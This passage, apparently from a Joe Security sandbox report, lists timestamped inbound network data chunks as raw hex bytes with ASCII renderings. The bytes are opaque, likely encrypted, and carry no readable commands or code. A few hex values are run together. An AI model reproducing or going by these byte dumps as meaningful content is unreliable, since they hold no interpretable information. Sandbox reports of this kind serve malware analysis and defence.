2021-11-08 19:58:45 UTC 3240 IN Data Raw: f3 96 65 c8 6c 9c 87 15 bb 1d 4d 6d 43 bd e2 d8 7f fd 07 c9 16 9f cd 2d ff d6 5f 49 d8 9a ca b0 56 76 4a 62 66 b6 69 14 0f 61 1d ab 10 f3 16 76 92 41 d9 6e 15 86 b8 95 f6 ec 37 98 00 98 91 5a bc ed ce 1f 7c 06 c5 93 c3 67 aa c0 d3 b4 72 b5 4a 0b 7e da cc 7e cd 02 d8 8c df 54 80 83 b1 d5 14 b2 80 82 bc 45 37 6c d0 c0 0f 6a c8 69 a4 a0 0d e7 7e 35 2c 08 74 c8 a5 d2 15 d0 a1 49 55 57 d6 47 63 16 9a 73 22 fc 44 9b 28 13 2e 23 b6 3f 86 61 07 a2 f1 33 d9 0a 1e 0f fd 90 54 26 1a df bd 7d 69 a9 64 8c 13 fe d7 47 71 c5 17 95 0f 29 63 24 35 fa d2 17 13 b3 d6 c5 9f 63 26 c7 7a 78 36 31 29 3d c4 95 70 30 e9 e2 e8 95 4c 12 04 6e 51 17 c8 dc cf 59 7e 55 2d 49 51 a8 9f 0b 54 cb 8f d7 a9 c2 f8 05 56 8f 8e a6 47 e1 97 71 67 a8 74 ab 29 90 48 b2 0a 33 e4 06 83 66 cd 56 0a Data Ascii: elMmC-_IVvJbfiavAn7Z|grJ~~TE7lji~5,tIUWGcs"D(.#?a3T&}idGq)c$5c&zx61)=p0LnQY~U-IQTVGqgt)H3fV

2021-11-08 19:58:45 UTC 3256 IN Data Raw: a4 08 e2 a3 0e 73 55 4c b3 d3 13 e6 54 24 c3 75 2c ec 0b d4 d7 06 f2 5a 2e 56 ea 4f 32 1b 52 0e d5 fe 9b e0 0e e1 b7 65 0d 42 c8 1f 98 26 dc 55 93 6c 9c c2 80 27 4c 06 d4 d8 01 37 46 15 0d 9e 69 b6 98 48 e9 55 f5 65 e8 f9 35 40 35 ca 47 03 a7 a8 cd ed e3 5f da 84 05 44 35 4a 6a bc e8 fd 64 92 07 aa 33 bb a3 18 2b 5c 65 31 43 a7 4c d2 02 3c f2 39 6c 39 83 06 68 30 1e ca db 36 6c c1 38 80 5f e8 fa bb 6f c2 ab d7 58 09 61 f8 45 18 00 98 8d ed 41 69 f8 e2 12 74 5b a7 e6 b9 1f 25 0b 42 9b a7 9a 53 bd 2c 64 6f 93 e6 2b 68 dd ec 84 82 fa 7c 4e 3d 9a 96 a5 45 a1 21 b8 15 ef 00 7d a9 b1 ce 00 ee d5 c0 8a 20 9c b9 48 3e ff 26 ff 31 66 71 9a ff 8c f1 ca b1 a8 bb 49 1a 30 92 b0 5e d2 74 c1 df 0a 91 03 36 a8 4b a1 f8 c1 e3 e0 c6 10 42 a9 a2 ed 53 7f 32 e5 9b e9 80 24 Data Ascii: sULT$u,Z.VO2ReB&Ul'L7FiHUe5@5G_D5Jjd3+\e1CL<9l9h06l8_oXaEAit[%BS,do+h|N=E!} H>&1fqI0^t6KBS2$

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 41 of 51

2021-11-08 19:58:45 UTC 3272 IN Data Raw: e7 82 b1 d4 46 81 c7 26 85 34 2d 8a 1b 3d 4d 84 81 9b a8 9a 75 ed 10 e9 25 96 a8 94 38 ac 63 f7 cf 4c a9 19 33 c1 9b 40 5a ca 06 bd 8a 64 0f 1c 98 4a 33 11 9a fe 9a f7 47 71 77 92 22 e0 c2 94 81 0f 1c 08 b4 60 7b 57 a0 7f 93 22 08 ea 9b 44 82 e1 00 14 7d bc 22 66 ef 03 18 a1 c0 b6 e6 91 8b 5d 60 2b 8e 2e d9 d4 4f 9f 24 c4 e9 9d 41 54 75 4d ba 2e 6a 70 4f 98 0a e5 38 e8 ed 44 19 94 40 24 ac d3 40 f9 e9 05 e8 e7 72 9b 7c cc c3 32 7e 97 89 80 47 dd 68 c4 69 8c 54 61 a7 8e d8 52 70 36 25 ae 03 4f 1a 84 4b 99 a4 6b 96 58 30 c9 cf d8 41 d5 e5 ce b4 79 27 e7 7d 48 69 b7 03 dd 0b cc f8 09 c9 8e a7 0b 4d 00 95 1b ee a5 7f 13 8a 19 69 73 fc 22 eb e6 16 b0 0f 3a 1f d2 11 74 1b a1 29 58 7c c7 31 6d 10 1b e6 84 0a a2 8b 59 2c 43 bc 42 a9 64 5f 32 af 1e 89 86 ba a3 34 Data Ascii: F&4-=Mu%8cL3@ZdJ3Gqw"`{W"D}"f]`+.O$ATuM.jpO8D@$@r|2~GhiTaRp6%OKkX0Ay'}HiMis":t)X|1mY,CBd_24

2021-11-08 19:58:45 UTC 3288 IN Data Raw: 23 70 32 0b ed 8b a4 fa 4b 13 09 91 2e de 7d bc 2f 33 19 e9 10 52 f6 ed 52 ab 62 1a 45 d4 20 0a 7c 91 bd d9 aa 85 0a ab 0f 0c cb 64 ab a3 7d b4 e5 fd b0 5d e1 d7 a1 96 33 ee ca 04 a0 0a ba 50 e2 ce e2 cb 66 db 21 86 f0 39 ae 35 c6 69 2e 7e 34 65 42 f7 45 d9 91 ac 36 d7 ef 68 16 d1 6b d4 41 27 a4 ae a6 02 46 74 ae 14 ad 54 74 d7 c2 ba 61 05 cb 98 c4 38 34 08 b6 3d 49 ab da 26 a2 34 6f 9f 72 18 33 f6 65 7a 9e d3 17 f1 a6 d6 0a bb a2 00 0b 6a 82 3f f0 c7 e1 83 44 a5 eb 0d 09 fd b3 6b 8a 90 42 ad 03 b3 03 e9 73 71 6d 92 9f 0b 52 53 09 8c e0 ae fb ec ac 23 02 ca 2f 6f ce 99 4c 7d 7b 3c 79 4f 1a 37 7e 90 0e d6 36 d8 bd 0b 31 4f a5 7b 6d 1b d6 be f3 4b 83 9b cd be 9d 0f cb dd a9 22 7f 17 f3 2d 07 a0 5e 1e 52 a6 c6 4d c0 bb 9e 53 a1 f6 68 77 3e 53 55 b1 65 4e f7 Data Ascii: #p2K.}/3RRbE |d}]3Pf!95i.~4eBE6hkA'FtTta84=I&4or3ezj?DkBsqmRS#/oL}{<yO7~61O{mK"-^RMShw>SUeN

2021-11-08 19:58:45 UTC 3304 IN Data Raw: 65 af 44 58 4d 6b 77 8f c7 67 7d df bd 29 bf 9c aa a3 c3 c2 cc eb 49 06 94 30 a3 c9 a4 2e 91 13 da 0e 84 d2 26 ae a6 f0 b9 d9 d0 0d 06 40 d3 6a 1f 7f 2f 88 f9 11 14 be 02 c1 59 63 d2 07 48 54 33 c6 03 a3 cb 5d 61 3a 53 23 5c 3e 50 b8 0d cd 10 d7 06 6f 9d 1a 78 a5 42 72 50 e4 e6 57 5f 2b 43 6a 8b ac e1 53 dc ec 74 bc 55 15 66 0a 3d 4d 7d dd b1 9a 6e b3 54 57 a8 4d 6e e0 a7 4c 84 0a 49 75 32 62 31 b0 f2 61 7a 40 5c 86 e8 97 19 6c af 66 1f 62 1a ad a8 70 5f da 43 13 59 5e 47 5c d9 6b 29 eb 29 36 60 c0 7a 97 cd d0 a5 93 9d ed 4e a1 39 2d ef f3 88 36 bd f7 23 b6 67 db 5f e8 c9 ba 7d f2 0f 3b d5 24 a4 dc fb ac ab 3e 6b da e8 57 cd 53 73 84 f6 7a 39 60 8b ba da a1 ec 13 f2 fe d4 a3 fa 47 22 21 a8 94 cf be 36 45 94 1f 3b df b3 56 f6 47 85 43 2d cb 0c fe 59 ea 56 Data Ascii: eDXMkwg})I0.&@j/YcHT3]a:S#\>PoxBrPW_+CjStUf=M}nTWMnLIu2b1az@\lfbp_CY^G\k))6`zN9-6#g_};$>kWSsz9`G"!6E;VGC-YV

2021-11-08 19:58:45 UTC 3320 IN Data Raw: df 1f d5 5b 92 8f cf 14 e0 4d 48 f0 72 9e 65 52 b1 89 79 1b e7 74 a3 c2 52 5b 98 cc 30 2d 80 06 59 1d 8c ad df dc 95 72 b1 dd b4 a7 25 d9 46 0c af ac ae e3 a8 77 72 75 f9 52 2c b4 7c 39 10 61 80 80 c0 93 6b 9d 42 ce 4b 8a 09 08 a3 74 1c c0 c0 b7 91 21 62 f8 a8 d5 32 eb 26 09 f5 ce 56 7b 5c 09 c4 ed 74 99 ad 96 2e 88 b0 74 02 eb 27 ca 96 ce 4a 97 2e 68 0d e4 58 37 88 e4 7f 83 56 05 01 bc e8 11 dd 29 46 f9 98 88 c4 08 ea 4c b2 52 08 e2 70 50 51 ab c0 c4 b4 93 de ab 5e 6f d1 d6 c8 f7 40 aa 16 37 be e1 77 55 1d f1 fd 77 39 49 b0 f1 44 ac ff 15 df 63 6f 8d cf 42 0a ac fe df 8e ce c4 14 02 76 9b 8b 82 06 67 ff 7a 98 75 ff 75 e2 4b d9 02 e8 3e fa 63 f5 14 4f e3 6e 06 2c 87 54 21 86 48 de 87 64 c8 92 52 79 ca 42 ba 2a55 70 dd f6 35 5a 6e 5f e4 e3 f9 38 30 62 ed Data Ascii: [MHreRytR[0-Yr%FwruR,|9akBKt!b2&V{\t.t'J.hX7V)FLRpPQ^o@7wUw9IDcoBvgzuuK>cOn,T!HdRyB*Up5Zn_80b

2021-11-08 19:58:45 UTC 3336 IN Data Raw: d8 31 cd b4 63 ff 60 e2 1a 87 4e 7e 8b 70 91 14 61 5c 9b 7b d0 57 27 38 bb 82 03 9c 4a f5 a0 1d 48 7f 95 36 61 c3 6a 4c 40 5f 06 3c 2e 68 36 f0 8e d9 b4 ca 16 67 f5 b1 eb bb 97 cf b0 e2 0e 0b 4c fa ab 18 95 70 6f f4 15 dc 6a 4d 73 4b 88 65 1c 45 ca 10 eb 2c df d0 4d 9b 5f 43 74 91 e6 3f 9a 58 a9 b2 70 fe 0d de a0 31 e6 d2 04 fa fd 83 32 c3 a4 7b b8 78 f6 74 b9 8b 0e db 04 f8 94 51 25 38 f1 cf ff 5d 98 55 42 fd 02 dc 66 1e 35 17 22 6e 0c d8 b5 34 94 f4 ff 93 51 b2 ed ae 94 6a 61 f3 35 42 22 47 f9 08 4f 14 87 3f 10 eb da 83 30 ac ba ed 5d 85 86 64 64 b8 c2 08 f2 6e b6 fd 41 a0 f3 b3 de db 86 28 13 fc b1 87 93 27 29 88 98 0c 4f 73 c2 20 ad a3 ce 05 12 67 c9 b2 30 81 2d 9e 62 6c 15 ff 1c 4d 59 60 96 2e 2f 61 74 9a 3c c3 41 56 af 2e bd 35 47 24 0c 7a 1a bf 4b Data Ascii: 1c`N~pa\{W'8JH6ajL@_<.h6gLpojMsKeE,M_Ct?Xp12{xtQ%8]UBf5"n4Qja5B"GO?0]ddnA(')Os g0-blMY`./at<AV.5G$zK

2021-11-08 19:58:45 UTC 3352 IN Data Raw: 19 e9 f8 0d 90 64 d7 36 f4 de 54 ba 3d e9 96 cd 6c 7a 7c 13 7e 08 02 a4 53 d5 63 15 22 f4 60 57 9f 2a 0a 7b 9c 56 63 c1 e3 94 9a 18 6a 7c e1 33 b5 9a bf ee e6 c2 2b dd 9f e3 5c b8 25 33 47 02 c8 09 97 12 9a 1e 9d 36 5a 1f 04 c2 ce 7d 42 6c db d9 68 fd 16 f3 f1 20 56 2c d4 e7 48 32 85 9b c7 e9 e8 c0 b2 75 ac 5f 18 fb f3 10 d8 08 bc 1b 34 f2 2d 51 7a f0 ee 5a 62 9c 72 af a3 c8 e1 a0 a9 57 28 17 25 00 61 8d ac 32 09 1f 82 bd 0b f1 d8 4f 7e 4a 50 e1 5f f8 f9 00 5e d2 3b 57 cd 07 3b 00 b5 32 a3 12 a1 b8 1d 42 c3 b2 44 f6 9e 8b 92 02 42 52 b0 fd b7 1c 00 f4 9c 88 48 b6 29 24 27 69 09 fb 0e 68 3d 9e 1e 1b f6 25 b7 df 2c 22 1d 2d db 88 ff f3 44 90 02 8a b3 e3 ca dd 47 3d a0 d4 dd 58 f2 fc b0 4a e9 96 50 4e d3 e2 90 ba 03 52 0d 38 28 8c 56 0a 48 09 b9 78 ec c2 df Data Ascii: d6T=lz|~Sc"`W*{Vcj|3+\%3G6Z}Blh V,H2u_4-QzZbrW(%a2O~JP_^;W;2BDBRH)$'ih=%,"-DG=XJPNR8(VHx

2021-11-08 19:58:45 UTC 3368 IN Data Raw: 11 6f 67 d2 a8 1e 38 71 6a a8 a6 0a 71 62 29 b3 db 19 fb 07 26 f0 19 98 df 17 5f a7 5e 33 cb d0 73 76 a2 5c 23 c8 b8 ff ef 6b 6c ef 8e 4a db 1a c8 21 ec c3 1e dc e6 d7 56 7b e1 6c b0 06 8f ab af 52 36 60 81 a3 ae 6c c8 06 eb a1 6b b1 9f 9f 2b c4 3b c3 81 22 94 83 e6 f5 43 b5 46 74 70 e2 45 e7 cf e4 4b 92 84 07 2e 8e 12 42 fd 46 ce 11 05 3f 40 41 cb 79 74 c1 f1 62 dc 71 6a 91 f1 fd 74 8c e5 2d 5c 23 6b c8 bf 16 0a d0 b9 34 81 1b 68 2c e1 8b 3e 62 d8 8a cb 9c 2b d2 34 fa b6 64 9c 7f d7 41 59 52 42 10 8b 09 f0 9b 1e 47 45 50 dd 45 09 32 50 55 a4 0c 57 10 21 ba 0f 68 de 77 ab 9c 44 14 71 65 27 2d 68 cb e4 86 84 4d 35 d2 6b ff b0 88 61 3c 6d 07 b8 75 3c 20 84 0d 84 71 11 f9 6a af 08 de ec 91 82 7b 47 91 ff cb fa fd 1e 73 a7 0f bc 5b 5d 84 1f 9a 7b de 7c 7c 6c Data Ascii: og8qjqb)&_^3sv\#klJ!V{lR6`lk+;"CFtpEK.BF?@Aytbqjt-\#k4h,>b+4dAYRBGEPE2PUW!hwDqe'-hM5ka<mu< qj{Gs[]{||l

2021-11-08 19:58:45 UTC 3384 IN Data Raw: 80 77 96 7d 57 c3 b5 88 0e dc 8b 80 5d de 98 84 f8 bc 3a 41 5d 95 5a 22 51 34 58 c5 8c bc ee 8d f9 4c de 73 19 88 8b 0c e5 5a bf 20 6c fd c3 91 16 7f ea e0 b9 8f 49 d2 a0 6f 62 e5 1b 21 46 45 0a a6 99 10 8b 23 e6 5f e1 8b fa 69 24 76 aa 81 1a 93 de 2e bc 0c d8 6c da fb 73 8e 3f 01 a3 ca 0a 1f 37 af c1 4a 25 db 63 46 2c 08 94 52 33 6d ac fc 0d 67 71 3d 32 da d5 0e 27 cf 28 46 15 32 f9 a4 ae 1a 40 b7 6a ca b5 92 cb 45 13 e3 f5 01 62 e5 90 46 94 cf 6f d8 e4 e0 98 83 c0 20 96 af 6f c5 6f 45 82 8f ba a9 47 a6 f7 c5 b4 24 5b 76 5e ea bb f2 99 93 cf cc 63 00 c6 be 6f 3b ab f4 45 df c7 f4 4a 8b d0 71 e5 00 a4 b7 88 37 81 c1 d1 76 9d a0 38 2b 4a 2f 45 b2 e7 6b a4 af 7b 7a 12 37 8b f1 7e 02 b7 ba 57 36 15 d3 e5 53 00 66 8c 2b ee bb a6 f3 03 1f fe f7 0e fb be 08 d2 Data Ascii: w}W]:A]Z"Q4XLsZ lIob!FE#_i$v.ls?7J%cF,R3mgq=2'(F2@jEbFo ooEG$[v^co;EJq7v8+J/Ek{z7~W6Sf+

2021-11-08 19:58:45 UTC 3400 IN Data Raw: ac 61 74 5d f5 1e 15 91 20 68 35 a8 ff ea d5 8f 27 4d 75 64 74 c9 c1 31 29 5a 6a 9f 5a 41 7e 22 47 88 ce 04 ca 0f d1 33 8f ce ce 03 a7 c1 d4 b8 65 14 60 20 5f 9f 55 1e d2 80 8f 5a b8 a7 9b 85 17 56 3b 82 9c 64 03 5c 23 f5 c8 c9 2d 4e 65 f0 2b e0 2e ee d8 00 3e bf a2 7f fe c8 db 5a d5 ef 22 ea 88 de bc 6f 9d 63 ca 16 a1 e7 d3 46 07 a4 f3 a0 b2 91 38 94 27 6d ba 50 82 a1 20 97 29 2c 6f 94 55 f8 b9 6c 6e a0 be 9c 56 14 35 b8 d7 6d 47 aa 70 c4 57 db 1b 44 9e a8 28 b7 40 01 c3 4c 98 29 af 36 ab c5 ab 91 20 41 a5 ea 43 bf 98 fe c8 0d 34 40 f9 6d be 48 8a 7e c5 3c ae 92 04 ab d9 8a 07 8b d6 98 bf 79 4c 2c 2c 51 05 37 08 1a eb b7 4c 6f 5e 9a ee 59 28 f5 ae 8a be 66 52 94 e9 86 44 15 60 58 03 94 ac 90 e2 16 86 98 94 3e 23 44 90 79 ce d9 bf 69 43 84 22 1b 36 d7 73 Data Ascii: at] h5'Mudt1)ZjZA~"G3e` _UZV;d\#-Ne+.>Z"ocF8'mP ),oUlnV5mGpWD(@L)6 AC4@mH~<yL,,Q7Lo^Y(fRD`X>#DyiC"6s

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 42 of 51

2021-11-08 19:58:45 UTC 3416 IN Data Raw: 04 ae 7c 3f 2e b0 fb a1 e9 8a e5 ff 9f 68 ea 09 1e 10 37 c3 41 08 6b ed bc 17 92 9c 38 f9 03 20 18 b9 1a 67 a0 d9 95 db 08 4d 1a af 7d 11 d6 28 ba 2a eb 05 03 86 d3 3e c9 78 7e a0 44 a9 ba be bd c8 d5 ed 6d 41 5a b4 26 6f 9a 56 3c 8f f4 3b d9 b3 c2 bd b6 06 b9 91 36 ab 2a 31 a3 19 2b 3e f7 14 c1 e2 0d e3 59 8f 5c 24 a8 97 58 fa 97 c0 81 b0 88 9f 54 d7 90 12 06 99 11 76 60 a6 e0 b0 9a 45 71 06 ea c9 01 5f d6 8b 76 03 e2 e1 32 57 b2 4f 11 70 92 4f e9 6d 6f b1 eb a0 b7 ca ff fa a9 4d ef e2 b1 2d 03 d8 b7 01 48 7b da d6 bf b9 cd 2b 40 3e 5e e6 b1 90 cc 39 9b 65 66 8d 76 94 68 87 61 ac ae 56 c7 c6 dd 85 b3 39 c9 15 5a 7c ca 32 14 94 61 46 e0 0a a6 cd be 2b e9 ce 70 5b 6a 1e 9d 47 2c e1 72 70 a3 be 3e bd f1 fa 58 90 70 f4 8b da f8 f7 27 5b 0a 7e 41 a4 f0 e0 5e Data Ascii: |?.h7Ak8 gM}(*>x~DmAZ&oV<;6*1+>Y\$XTv`Eq_v2WOpOmoM-H{+@>^9efvhaV9Z|2aF+p[jG,rp>Xp'[~A^

2021-11-08 19:58:45 UTC 3432 IN Data Raw: 5c c8 9c 70 70 56 3f 04 c7 f7 45 5e f7 e3 e6 cb a4 c1 c6 7b 94 e8 6b 4b d9 8d 32 42 46 7e de 7e 55 4b 0a 4c 5d8f 94 de 45 1f 5d 9a e9 4b 7a 1f 2c ce 0c 4d f3 c6 e7 e7 b4 bb 5b 7a 17 67 17 e1 30 5d cc 9e fb df 0d 14 88 38 f2 fb ee 4e 2a 29 0c aa de 37 bf eb 2d 90 ea 2b b5 3b 9a b6 d4 8d ef 48 f7 2a 3e 54 90 26 67 3f 30 a0 87 ab 8c a0 61 a5 ca d6 61 00 6f c3 1e ac e6 5d cf f0 5b bd aa 64 e7 f7 da 16 96 4c e3 9a 48 70 0e 43 dc b7 a8 15 f9 28 b0 08 fd 89 26 80 e2 2f c1 b4 eb 40 e4 39 d6 c2 49 74 0e 41 f8 51 8d eb 8d e5 d0 19 02 a0 3e e9 cb 2f 73 29 b0 b5 e3 38 54 23 16 e9 58 3f fe 13 ef 47 df 09 fa 40 d3 d1 4e 88 18 91 fd bb 0d 7b b8 30 cc 19 cc c3 2e 41 81 b0 be d7 8e 8e 89 90 c3 6a 99 90 d2 46 db 85 4b fe dc e6 b4 53 53 66 d5 16 85 4b f4 c8 4d c9 d3 45 af Data Ascii: \ppV?E^{kK2BF~~UKL]E]Kz,M[zg0]8N*)7-+;H*>T&g?0aao][dLHpC(&/@9ItAQ>/s)8T#X?G@N{0.AjFKSSfKME

2021-11-08 19:58:45 UTC 3448 IN Data Raw: f7 4e 2a 6e ed b7 84 66 91 1e 75 f4 64 d0 7b 66 05 41 3a 07 0c 54 6b 4a 64 53 51 29 4d f0 03 03 cb 36 f8 1d 03 4f af a7 83 4f 50 e0 19 0c 5d e9 15 7f af 73 9c 86 6b cc ae 82 5d f9 46 b7 8b 36 86 2e 79 92 41 79 fe e3 13 aa ee 8f f5 6b 0c 82 96 77 d7 51 b0 04 0a 74 b5 ae 53 3a f3 ce f1 d8 6a f5 b0 4b 78 be 3e 67 e9 58 93 7d b8 b0 11 1c 92 e2 0e b5 2e e6 d6 af 23 e7 c5 af 93 dd e1 7f 2e f9 51 3f d4 4b b9 21 a6 c1 45 66 92 f5 ee 2f 5d d8 d5 c6 a1 4f 7b 63 73 78 5d 94 db af 9d 19 fe 75 5d c5 52 a7 a1 cc 7d 1b e1 b9 4f de 87 f7 e6 fe a2 cf f0 62 a1 f4 a4 be e5 10 5d 2f fd 2b 33 a3 09 63 3d b9 6c a9 f7 55 3c a9 6b 93 9b 4d c9 20 30 f9 65 25 22 08 80 2b ab b5 ba 5c 86 d1 a1 3a ca f7 da 5a 08 51 8c 21 33 e0 e5 d9 e3 41 fa 78 98 74 c5 6f 5d 92 38 0e 19 ec a7 b2 5d Data Ascii: N*nfud{fA:TkJdSQ)M6OOP]sk]F6.yAykwQtS:jKx>gX}.#.Q?K!Ef/]O{csx]u]R}Ob]/+3c=lU<kM 0e%"+\:ZQ!3Axto]8]

2021-11-08 19:58:45 UTC 3464 IN Data Raw: 7b c2 24 26 21 2a 4a 0d 6f a9 97 ae 54 f3 ff 11 70 a3 b3 b9 5a 1c 32 d7 82 35 8e 2f d7 1c d9 a3 82 cb 73 2c 6c da c3 2e d3 1e 65 a6 d4 db 50 76 c7 b1 74 c1 0f 93 e2 f6 b3 60 2b 82 53 79 e3 8f ce 44 94 bf 25 40 ef 8f 26 f2 75 3e 05 13 f2 ef 1c 96 dc 3a 2a 51 36 00 5e 8c 91 87 64 8a 95 2c 27 ba 9a 0b f6 a8 ad 41 86 20 9b 1a 7d 0d 8e 89 0f a9 e3 28 30 a2 60 cd 85 6e 4b 04 5d 9d 3f 35 31 a4 22 92 e1 a3 dc bc 5d ed 1a 86 ee 16 6b f5 5c f8 72 7a 79 e1 06 ec bc 8d 3a 54 97 6b 7c b8 c3 c1 46 00 65 eb 60 e0 9d 44 e5 db a0 d9 a6 e7 c4 82 5a 92 cf 91 89 80 2a d3 29 cc 0c 29 46 9e 24 42 7e a4 c4 18 8b 59 e1 f3 af dd e6 91 11 8b ea e2 f4 9c 84 a5 df 9b dc 6b 20 96 d7 82 f2 34 fd ea b4 df 7c 3a d7 1d d6 20 41 0a 79 bc ea 0f 6f d9 99 e7 2a ba 43 d7 73 e8 b5 01 0c 6a c4 Data Ascii: {$&!*JoTpZ25/s,l.ePvt`+SyD%@&u>:*Q6^d,'A }(0`nK]?51"]k\rzy:Tk|Fe`DZ*))F$B~Yk 4|: Ayo*Csj

2021-11-08 19:58:45 UTC 3480 IN Data Raw: be 2a f9 4b 06 48 93 15 57 32 79 60 2d ec c3 91 59 8e 12 65 b7 96 c3 5e e2 18 d8 35 17 9d f2 33 2e 85 a8 26 03 5a c4 93 a1 1b 24 e9 c0 28 ce c6 ac 7e a2 0b 1f e1 ed d9 a2 cb 5d 57 55 f4 07 ac 3c 4a bc bc 4d b6 06 8c 48 6a ee 07 76 b3 5f ba ec ec b2 bb b4 b0 b3 51 94 ab db 7a d1 49 98 dd c2 cf 35 bd 57 68 1f f0 39 dc 68 8a ea c6 e5 cb 2d a9 4f c4 47 7d 74 db 57 31 f5 36 9e d1 24 e2 a9 62 03 4b 3b 4e c3 3b 9c a0 b3 e3 c8 47 d1 b6 d9 d9 25 b9 73 9d d2 81 f3 57 42 9f 5f 01 9c 92 67 cd bb d6 e7 db 60 62 6d 4a b5 2a 3b d2 fc 33 ef 02 64 46 65 59 ce ba 65 6b cd 29 eb fa 39 fd 8d fc 91 ff 70 80 24 3c 27 ed f6 34 32 67 c4 a5 cb cf 36 fd 15 b5 d5 e7 9e 57 80 97 4a 5e 59 9f 7f 82 4a 37 03 9b ee 98 84 32 f1 5c d9 a04f a9 17 9b 41 c8 9c 3c 08 f9 a6 6f 23 47 06 66 69 Data Ascii: *KHW2y`-Ye^53.&Z$(~]WU<JMHjv_QzI5Wh9h-OG}tW16$bK;N;G%sWB_g`bmJ*;3dFeYek)9p$<'42g6WJ^YJ72\OA<o#Gfi

2021-11-08 19:58:45 UTC 3496 IN Data Raw: 35 7a f6 b9 eb bf 68 5b 55 0a c3 e7 f6 51 62 5e 2b 9f f1 e2 71 ec 1b c0 af 5b a4 9a 77 71 bf 45 f5 34 da 64 b0 89 05 9b 45 7d 16 e2 1b df 19 3a 6c e1 bf 38 67 fc ff a5 c3 10 03 8d 29 a3 60 d3 e4 d0 a2 38 27 c7 b5 40 b1 6f 3f 9b 73 4d e2 80 8d cc ad ee 98 e5 ac ff cb 40 e5 69 7e a4 c1 14 3a ae d6 b5 77 78 39 96 9e 6a ca dc 69 f5 0c 20 99 19 8a bf 8a 06 32 9e 47 72 bc 51 5b d1 b5 fb 0b 54 96 f3 56 49 2b ef 1b 64 f0 05 63 97 12 6f bc a3 d5 4b 48 27 1c 4f b4 6c a6 df 7c 07 ad 39 71 9a f4 f2 66 94 86 54 29 ff 3e 1b cd ff ab e4 f6 42 a7 6c 5b 13 64 7e 6b e3 8c af 40 7e fc 18 ea 20 2e 2c a6 8e 30 33 31 0e 4c 8e a2 4a 97 e2 09 2f 23 62 12 6d ff b0 55 aa a1 1d 25 b7 40 ab de 5c c7 ae 7d 45 9d 70 9c cf 85 9a 12 0d b9 9c 12 ee 9f 36 9e e7 13 b2 2d 1c 7e c0 59 f5 a1 Data Ascii: 5zh[UQb^+q[wqE4dE}:l8g)`8'@o?sM@i~:wx9ji 2GrQ[TVI+dcoKH'Ol|9qfT)>Bl[d~k@~ .,031LJ/#bmU%@\}Ep6-~Y

2021-11-08 19:58:45 UTC 3512 IN Data Raw: 64 f2 13 eb 05 41 d8 2a eb 20 71 be 8e 83 c6 d9 7e 17 84 ac 03 b4 63 31 61 f8 73 46 67 74 f5 d0 3a 90 9e dd 16 6b 5c 59 d8 d0 48 84 5d 2f 03 6f a5 05 2d 6b 6d e9 e1 12 e7 87 8a ec 2b 10 db ef 07 93 10 95 52 0c cb 36 1e 05 ee 06 04 22 f6 fc 3c 1f a5 46 fa ac ed 7f fc e6 e3 97 ed e3 41 db c3 50 dd fd 42 ac f1 ff c3 50 03 90 ac 0c cf 97 58 2c fc 06 45 d8 4e 05 9a e6 ae 60 f3 41 63 d4 2c cd 39 bc 6f ce 24 3a 27 81 68 84 e4 41 8b e8 50 33 91 34 de a2 7f be 5c cf 5f 48 d5 3e 1f 52 4d 0b a5 19 9e b8 29 45 a3 ea 41 b6 9b 40 c2 49 79 e0 73 52 b1 53 ff 9a df 34 7c 37 d8 10 75 05 cd 02 55 49 ca 31 4b 23 65 7f b6 4a f9 46 f2 df 7c 3e 58 63 ad 6c 5d 20 60 19 05 18 80 59 b0 25 69 f3 ba e8 6b 5c 3d 0f 13 6e 5c 9d 59 67 20 7e1b 6d 43 34 d7 a8 ee e4 24 f5 0d c9 b3 7d 89 Data Ascii: dA* q~c1asFgt:k\YH]/o-km+R6"<FAPBPX,EN`Ac,9o$:'hAP34\_H>RM)EA@IysRS4|7uUI1K#eJF|>Xcl] `Y%ik\=n\Yg ~mC4$}

2021-11-08 19:58:45 UTC 3528 IN Data Raw: 0e 32 93 c7 5c 20 4c c2 83 db 69 d8 51 d6 96 75 53 b7 24 6f 9d 70 03 a7 98 89 6b 1d 4b e5 9d 43 40 78 5c ae cc a5 f5 c4 e9 7c a4 fa 82 b9 88 d1 50 95 32 42 8d 5b bd f4 a5 55 56 ca bf 87 14 1b ba b5 f9 5f 0e 33 fc 61 ae 2d e3 81 a2 42 33 64 b4 ab 23 0c 04 fe 8e 64 44 68 60 d6 d6 a5 09 9c 71 72 35 0e 62 fa 10 e5 cd 18 7d bc c0 fb 45 9e 10 c0 80 84 a1 b2 43 b9 09 76 33 f4 82 e0 38 aa 12 da 54 00 80 d2 0f 02 2e 80 d5 19 82 00 b2 c8 6a 85 f9 e0 23 cd f4 84 e6 56 b0 e5 6c b7 13 68 f8 12 11 ed be 93 3a 10 e6 d3 93 30 61 90 05 c6 b1 aa 5d 7d e8 01 39 a9 54 7d b5 32 4c ac ab f7 6c fe 7a 5f 3d 7b 9d a6 38 3e e1 a3 8e 45 3a e3 da 15 85 f5 25 46 46 73 46 ec b3 d7 46 35 d8 9b ea 62 45 9c de 1e e4 5d 9b d7 c3 d5 31 e2 a2 15 d3 cc a5 86 6b 59 6b e8 ae 55 12 f3 a0 e1 7e Data Ascii: 2\ LiQuS$opkKC@x\|P2B[UV_3a-B3d#dDh`qr5b}ECv38T.j#Vlh:0a]}9T}2Llz_={8>E:%FFsFF5bE]1kYkU~

2021-11-08 19:58:45 UTC 3544 IN Data Raw: 62 48 c7 55 e8 16 ef 8d fd 45 ff 89 5c 26 c9 ce 17 1a 57 f4 4b bf f3 8e 8f 6f 96 0d 99 0a 6e 97 9d b8 e2 44 f9 ac fc cf f2 a4 b3 33 61 59 92 f7 90 aa dd 88 91 3e b2 c9 61 4a cc c0 a4 46 67 58 b9 56 d6 26 b2 f0 4c 37 04 4b 7f 9e 3f 5a f5 4e 88 f2 e5 7f 39 e3 a7 91 a3 5b 0b 94 b6 59 d1 8e c0 8c b7 a1 f9 3f 9b bc fd 45 e4 2d 02 38 90 d8 04 27 64 59 e6 14 cc 22 e8 ce 9d 17 3e 8c 02 0a 90 c5 e6 a7 43 d2 3b 9a da cd 26 ad ba 95 20 11 0d 77 6d f8 30 62 e6 07 ba 9b e9 c2 d1 a5 ce 12 02 f9 c4 67 a9 97 45 e2 ac 98 99 8a 42 87 cd 45 46 a7 73 cd 7a d7 db 71 0f fa d5 33 8a 38 61 92 89 0c 35 f3 74 d9 21 72 e5 1d a0 a1 38 d8 78 14 40 59 d0 a7 48 da ad bc 5d 46 7c 38 a1 18 f6 19 66 f6 3e 5c 51 ea 6b d5 